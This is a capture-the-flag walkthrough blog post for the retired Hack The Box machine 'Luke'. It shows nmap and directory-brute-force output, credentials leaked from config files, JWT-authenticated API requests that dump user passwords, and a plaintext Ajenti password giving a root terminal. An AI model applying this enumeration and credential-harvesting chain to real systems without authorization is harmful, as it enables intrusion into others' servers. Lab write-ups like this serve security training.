Those Are The Guys!

Two guys who do stuff on twitch: /thosearetheguys

View on GitHub
28 July 2019

Htb Luke

by jake

This week we are taking a look at the retired Hack The Box machine Luke (Medium difficulty)

Starting off with our nmap scans:

root@kali: nmap -sC -sV -oN nmap 10.10.10.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 14:37 AEST
Nmap scan report for 10.10.10.137
Host is up (0.24s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session upload bandwidth limit
|      No session download bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.77 seconds

root@kali: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.137
# Nmap 7.70 scan initiated Wed Jun  5 14:38:14 2019 as: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.137
Warning: 10.10.10.137 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.137
Host is up (0.24s latency).
Scanned at 2019-06-05 14:38:14 AEST for 996s
Not shown: 65030 closed ports, 500 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
8000/tcp open  http-alt

Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Jun  5 14:54:50 2019 -- 1 IP address (1 host up) scanned in 996.06 seconds

root@kali: nmap -sC -sV -oN nmap-targeted -p3000,8000 10.10.10.137        
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 14:56 AEST
Nmap scan report for 10.10.10.137
Host is up (0.24s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds

Straight away we have ftp open with anonymous access, so taking a quick look if there is anything there:

root@kali: ftp 10.10.10.137
Connected to 10.10.10.137.
220 vsFTPd 3.0.3+ (ext.1) ready...
Name (10.10.10.137:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
226 Directory send OK.
ftp> cd webapp
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-xr-xr-x    1 0        0             306 Apr 14 12:37 for_Chihiro.txt
226 Directory send OK.
ftp> passive
Passive mode on.
ftp> binary
200 Switching to Binary mode.
ftp> get for_Chihiro.txt
local: for_Chihiro.txt remote: for_Chihiro.txt
227 Entering Passive Mode (10,10,10,137,121,126).
150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.00 secs (226.2136 kB/s)

We also try to upload a file but do not have permissions. Looking at the file we read a note from the developer:

root@kali: cat for_Chihiro.txt
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 

Derry 

Looks like the website will be our next best bet!

Browsing over to http://10.10.10.137 we are presented with a pretty basic single page website that doesn’t have a lot in terms of functionality.. but we know something is here because the note told us.

Next steps is to enumerate the server using gobuster to see if there are any hidden directories or files that might help us:

root@kali: gobuster -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-x.log -u http://10.10.10.137 -x html,php,txt
=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.137/
[+] Threads      : 50
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : html,php,txt
[+] Timeout      : 10s
=====================================================
2019/06/05 14:57:15 Starting gobuster
=====================================================
/login.php (Status: 200)
/index.html (Status: 200)
/member (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)

/member returns an empty directory listing page (so we know that the server has directory listing enabled) login.php opens up a login page.. but we have no credentials yet. Finally config.php has something very interesting for us:

root@kali: cat config.php
$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword  = 'Zk6heYCyv6ZE9Xcg';
$db = "login";

$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

We have some database credentials for the login database. We try the password and a few common usernames against the login.php but are not able to get in, so we continue digging.

Moving on to the next website on port 3000 we see that nmap has identified it as a Nodejs Express service. Hitting the site in a browser returns a response that we do not have an auth token:

658cf41c-5ac5-4aeb-a839-9e74c9829c72.png

But there has to be a way to get an auth token so we go back to our friend gobuster:

root@kali: gobuster -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster-3000.log -u http://10.10.10.137:3000 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.137:3000/
[+] Threads      : 50
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/06/05 15:20:31 Starting gobuster
=====================================================
/Login (Status: 200)
/login (Status: 200)
/users (Status: 200)
=====================================================
2019/06/05 15:20:55 Finished
=====================================================

We know that this is a nodejs Express api so there is no need to test file extensions.

/users returns the same error message, but /login looks like what we want. Reading up on how Express authenticates, we see that there are 2 likely options, Basic auth and Bearer auth using JWT tokens.

We try some GET connections adding Authorization: Basic and Authorization: Bearer with various combinations of usernames, but no change. It is time to see what other HTTP methods the endpoint allows by sending an OPTIONS request.

34e4d824-9eb1-4fe0-8547-439133e9cb9c.png

We see that the endpoint allows us to send POST requests, so we go through the motions of creating some json requests until eventually we get a hit:

Request:
POST /login HTTP/1.1

Host: 10.10.10.137:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

If-None-Match: W/"d-PH4Bpb6SoaW0jE2UrQrH8JM2BiI"

Content-Type: application/json

Content-Length: 50



{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}

Response:
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 219

ETag: W/"db-eoHS07tdVgb0sOyNCnL1pg/Az+0"

Date: Wed, 05 Jun 2019 05:48:36 GMT

Connection: close
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NzEzNzE2LCJleHAiOjE1NTk4MDAxMTZ9.LRYQG0loGWTPNntFDvwoVZU3YxDIeZR80Qe416tbh8s"}

Because we have been playing with JWT tokens we should almost instantly recognise the response token as a JWT that we can add to our request headers for the other endpoints:

Request:
GET /users/ HTTP/1.1

Host: 10.10.10.137:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NzE1NTMwLCJleHAiOjE1NTk4MDE5MzB9.sMCOV6cpWIzHsfauFC579V9LqBvtQVYhyd5Z8CN_8sM

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1



Response:
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 181

ETag: W/"b5-cGsywmWiRpCno11EZqocljZF8A8"

Date: Wed, 05 Jun 2019 06:19:31 GMT

Connection: close


[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]

Note that here we are adding the token from the /login response as an Authorization: Bearer [TOKEN] and we get a response listing out all the users.

With a development background and someone that is familiar with APIs and routing it was worth trying the user ids in the url. Generally REST APIs use routing and the request method to help decide what to do. Routing works by taking arguments from the URL such as /users/[userid] where userid will then be used by the application to perform a task against that id.

so we try to browse directly to something like /users/1 with the authentication token still in the headers. We get a 404 not found, but if we use the name field instead of the id field we begin to get some results:

Request: 
GET /users/admin HTTP/1.1

Host: 10.10.10.137:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NzE1NTMwLCJleHAiOjE1NTk4MDE5MzB9.sMCOV6cpWIzHsfauFC579V9LqBvtQVYhyd5Z8CN_8sM

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1



Response:
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 45

ETag: W/"2d-6LfOUjcs63Zey9NM+wGG+B6F0ts"

Date: Wed, 05 Jun 2019 06:25:37 GMT

Connection: close



{"name":"Admin","password":"WX5b7)>/rp$U)FW"}

Following the same format for all the users initially returned we end up with the following list of credentials:

{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

Interestingly the admin password returned is different to the one we used to authenticate.

At this point it took a moment to figure out next steps.. the credentials did not work on any of the login screens we have encountered so far, nor did they work against SSH or FTP. So we went back to the drawing board and re-scanned the website, this time trying a new tool called erodir (https://github.com/PinkP4nther/EroDir)

By default EroDir happens to include 401 responses as a valid response code which leads us to a folder we had not seen yet:

root@kali: erodir -u http://10.10.10.137 -e /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-=[ EroDir v1.7 ]=-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-=[ @Pink_P4nther ]=-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[+] Target: 		[http://10.10.10.137/]
[+] Entry List: 	[/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt]
[+] Timeout: 		[5]
[+] HTTP codes: 	[200,301,302,401,403]
[+] Threads: 		[50]
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[*] Reading lines..
[*] Bruteforcing 220560 entries!
[*] Threads Built: 50
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  => http://10.10.10.137/member (Status: 301)
  => http://10.10.10.137/css (Status: 301)
  => http://10.10.10.137/management (Status: 401)
  => http://10.10.10.137/js (Status: 301)
  => http://10.10.10.137/vendor (Status: 301)
  => http://10.10.10.137/LICENSE (Status: 200)

Hitting /management prompts us for Basic Auth, finally we are able to use Derry:rZ86wwLvx7jUxtch to log in.

We are presented with 3 files. config.php looks to be the same as the one we have already seen, login.php provides a different login page to the previous one and config.json shares some interesting information about the Ajenti software installed on port 8000.

config.json:

{
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
                "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
                "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
                "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
                "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
                "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
                "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
                "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
                "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
                "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
                "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
                "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
                "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
                "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
            }, 
            "password": "KpMasng6S5EtTy9Z", 
            "permissions": []
        }
    }, 
    "language": "", 
    "bind": {
        "host": "0.0.0.0", 
        "port": 8000
    }, 
    "enable_feedback": true, 
    "ssl": {
        "enable": false, 
        "certificate_path": ""
    }, 
    "authentication": true, 
    "installation_id": 12354
}

Straight away we have a password in plain text. we try the combination root:KpMasng6S5EtTy9Z against the login form on port 8000 and get in.

Ajenti is a server management tool and on the left hand side we see a terminal option. Clicking this brings up a page of existing terminals, if none exist from previous users create a new one. We get dumped straight into a root shell and can read the /root/root.txt as well as the /home/derry/user.txt flags.

tags: htb - walkthrough - luke